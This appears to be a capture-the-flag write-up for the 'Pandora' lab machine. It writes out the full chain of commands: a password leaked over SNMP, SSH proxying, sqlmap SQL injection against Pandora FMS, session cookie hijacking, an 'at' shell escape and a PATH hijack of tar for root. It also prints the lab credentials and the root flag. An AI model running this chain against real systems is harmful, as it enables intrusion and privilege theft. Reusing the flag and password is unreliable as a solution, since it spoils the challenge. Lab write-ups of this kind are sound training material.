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Pandora

InfoGathering

IP: 10.129.119.197
# Commands Executed
db_nmap -sC -sV -O -A -oN nmap.results 10.129.119.197 -p 22,80
db_nmap -sU -p 161 10.129.119.197

SCOPE

SERVICES

SSH

HTTP
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SNMP

I used a tool I created called massnmp to enumerate SNMP info
RESOURCE: https://github.com/tobor88/Bash/blob/master/massnmp.sh

# Command Executed
massnmp 10.129.119 197 198
cat 10.129.119.197

SNMP returned the host name. I added that value to my /etc/hosts files

# Command Executed
vi /etc/hosts
# Added value
10.129.119.197    pandora.htb

Gaining Access

Inside the SNMP output was a password for the daniel user

https://github.com/tobor88/Bash/blob/master/massnmp.sh
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# Command Executed
grep daniel 10.129.119.197

SCREENSHOT EVIDENCE

USER: daniel
PASS: HotelBabylon23

I was able to use those credentials to access the machine

# Commands Executed
ssh daniel@pandora.htb
Password: HotelBabylon23

SCREENSHOT EVIDENCE

There is another user Matt who is able to access the device
There is also a SQL server listening on 3306
The hosts file shows two loopback DNS resolutions for the local host

# Commands Executed
ls /home
grep bash /etc/passwd
ss -tunlp
cat /etc/hosts

I set up a proxy to view the possible webpage by terminating my SSH session and starting a new one
with a SOCKS proxy

# Commands Executed
ssh -D 1080 daniel@pandora.htb
Paswword: HotelBabylon23

I then set up FoxyProxy to use the SOCKS5 connection and visited
LINK: http://pandora.pandora.htb

SCREENSHOT EVIDENCE

http://pandora.pandora.htb
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The web application running is called Pandora FMS.
It has a PHP file “chart_generator.php” with a “session_id” parameter vulnerable to SQL injections
REFERENCE: https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained

I modified my /etc/proxychains4.conf file to use bash commands against the service

# Commands Executed
vi /etc/proxychains4.conf

https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained
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# Added the below line
socks5 127.0.0.1 1080 daniel HotelBabylon23

SCREENSHOT EVIDENCE

I used sqlmap to enumerate the database table information

# Commands Executed
proxychains sqlmap --url="http://localhost.localdomain/pandora_console/include/chart_generator.php?
session_id=''" -D pandora --tables

I dumped the contents of table called "tpassword_history" and then "tsessions_php"

# Commands Executed
proxychains sqlmap --url="http://localhost.localdomain/pandora_console/include/chart_generator.php?
session_id=''" -Ttpassword_history --dump

proxychains sqlmap --url="http://localhost.localdomain/pandora_console/include/chart_generator.php?
session_id=''" -Ttsessions_php --dump

SCREENSHOT EVIDENCE

SCREENSHOT EVIDENCE
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This info was saved too /root/.local/share/sqlmap/output/localhost.localdomain/dump/pandora/
tsessions_php.csv
I grepped a session id for “matt” 

# Command Executed
grep matt tsessions_php.csv
# RESULT
g4e01qdgk36mfdh90hvcc54umq,"id_usuario|s:4:""matt"";alert_msg|a:0:{}new_chat|b:0;",1638796349

SCREENSHOT EVIDENCE
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I used a firefox add on “Cookie Editor” to set the PHPSESSID to his session id value and reloaded the
page
SCREENSHOT EVIDENCE

This gave me access to the site as matt
SCREENSHOT EVIDENCE

PrivEsc

In my enumeration I discovered I was in a limited shell
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I was able to obtain a normal privilege shell using “at” which I can execute 
RESOURCE: https://gtfobins.github.io/gtfobins/at/#sudo

# Command Executed
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null 

SCREENSHOT EVIDENCE

My search for SUID binaries returned a result for a custom binary “pandora_backup”

# Command Executed
find / -perm -u=s -type f 2> /dev/null

SCREENSHOT EVIDENCE

I transferred the binary to my machine for analysis and discovered a non-absolute path to the tar
command was being used

# Command Executed
strings pandora_console | grep tar

SCREENSHOT EVIDENCE

I created a poisoned tar binary in /tmp, added /tmp to my PATH variable and ran the binary

# Commands Executed

https://gtfobins.github.io/gtfobins/at/#sudo
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cd /tmp
echo "/bin/bash" > tar
chmod a+x tar
export PATH=/tmp:$PATH
pandora_backup

I was then able to read the root flag

# Command Executed
cat /root/root.txt
# RESULTS
a0c2a6157e3b1bcab96f2735e11ac1a2

SCREENSHOT EVIDENCE

 
 

ROOT FLAG: a0c2a6157e3b1bcab96f2735e11ac1a2


